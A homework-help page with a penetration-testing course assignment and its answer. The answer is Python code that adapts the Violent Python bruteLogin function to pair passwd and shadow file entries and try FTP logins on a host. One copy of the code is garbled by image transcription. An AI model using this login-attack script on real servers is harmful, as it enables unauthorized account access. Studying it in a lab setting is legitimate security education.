Question

Linux systems keep user account information in the passwd file and the encrypted password in the...

Linux systems keep user account information in the passwd file and the encrypted password in the shadow file. The passwd file containing account information might look like this: smithj:x:1001:1001:John Smith:/home/smithj:/bin/bash The shadow file containing password and account expiration information for users might look like this: smithj:KJDKKkkLLjjwlnttqoiybnm.:10063:0:99999:7::: The fields in the shadow file are separated by a colon, with the first field being the username and the second the password. Under normal circumstances, the password is encrypted but for the purpose of this assignment, you can assume the password is already unencrypted. Review the bruteLogin function program on pp. 58 through 59 of Ch. 2, "Penetration Testing with Python," of Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers. Make the following changes/additions to the function: Modify the bruteLogin function to use both the passwd and shadow files. Assume your passwd and shadow files include two accounts. Change the bruteLogin to extract the username and full name from the passwd file and the password from the shadow file Change the output to display the full name when confirming successful FTP Login; e.g., "Myhostname FTP Logon Succeeded: John Smith/ KJDKKkkLLjjwlnttqoiybnm" Capture screenshots of your code and output for each conversion. Paste the screenshot in a Word document. Submit your assignment using the Assignment Files tab

0 0
Add a comment Improve this question Transcribed image text
Answer #1

this below code works fine... although i was unable to login to your ftp client from here.. but it should full fill your requirement.. see it gets the fullname and username and password from your mentioned files and try to login to ftp client

9 import ftplib 10 11 def bruteLogin(hostname, passwdFile, shadowFile): 12 13 passwdopen (passwdFile, r) 14 15 shadow open (shadowFile, r) 16 for line in passwd.readlines(): 17 18 19 #open passwd file #open shadow file #getting username from passwd file userName line. split( : ) [0] #getting full name from passwd file fullName line.split(:04].strip() #now get the passwd from shadow file whose username equals #to the username in passwd file for 1 in shadow.readlines () 21 23 24 25 26 27 28 29 user 1.split( )I0] if userzruserName: #getting password for that user password1.split([1].strip(r).strip(n) print [+] Trying: +userName+/+password+/+fullName try: ftp - ftplib.FTP(hostname) ftp.login(userName, password) print n[ str (hostname) FTP Logon Succeeded: +fullName+/+password ftp.quit() return (userName, password) 34 35 36 37 38 39 except Exception: pass print \n[-] Could not brute force FTP credentials. I return (None, None) 41 host192.168.95.179 42 passwdFile /home/sys1108/Desktop/passwd.txt 43 shadowFile/home/sys1108/Desktop/shadow.txt 44 bruteLogin(host, passwdFile, shadowFile)

output:

code:

import ftplib

def bruteLogin(hostname, passwdFile,shadowFile):
#open passwd file
passwd = open(passwdFile, 'r')
#open shadow file
shadow = open(shadowFile,'r')
for line in passwd.readlines():
#getting username from passwd file
userName = line.split(':')[0]
#getting full name from passwd file
fullName = line.split(':')[4].strip()
#now get the passwd from shadow file whose username equals
#to the username in passwd file
for l in shadow.readlines():
user = l.split(':')[0]
if user==userName:
#getting password for that user
password = l.split(':')[1].strip('\r').strip('\n')
print "[+] Trying: "+userName+"/"+password+"/"+fullName
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, password)
print '\n[*] ' + str(hostname) +'FTP Logon Succeeded: '+fullName+"/"+password
ftp.quit()
return (userName, password)
except Exception:
pass
print '\n[-] Could not brute force FTP credentials.'

return (None, None)

host = '192.168.95.179'
passwdFile = '/home/sys1108/Desktop/passwd.txt'
shadowFile='/home/sys1108/Desktop/shadow.txt'
bruteLogin(host, passwdFile,shadowFile)

Add a comment
Know the answer?
Add Answer to:
Linux systems keep user account information in the passwd file and the encrypted password in the...
Your Answer:

Post as a guest

Your Name:

What's your source?

Earn Coins

Coins can be redeemed for fabulous gifts.

Not the answer you're looking for? Ask your own homework help question. Our experts will answer your question WITHIN MINUTES for Free.
Similar Homework Help Questions
ADVERTISEMENT
Free Homework Help App
Download From Google Play
Scan Your Homework
to Get Instant Free Answers
Need Online Homework Help?
Ask a Question
Get Answers For Free
Most questions answered within 3 hours.
ADVERTISEMENT
ADVERTISEMENT
ADVERTISEMENT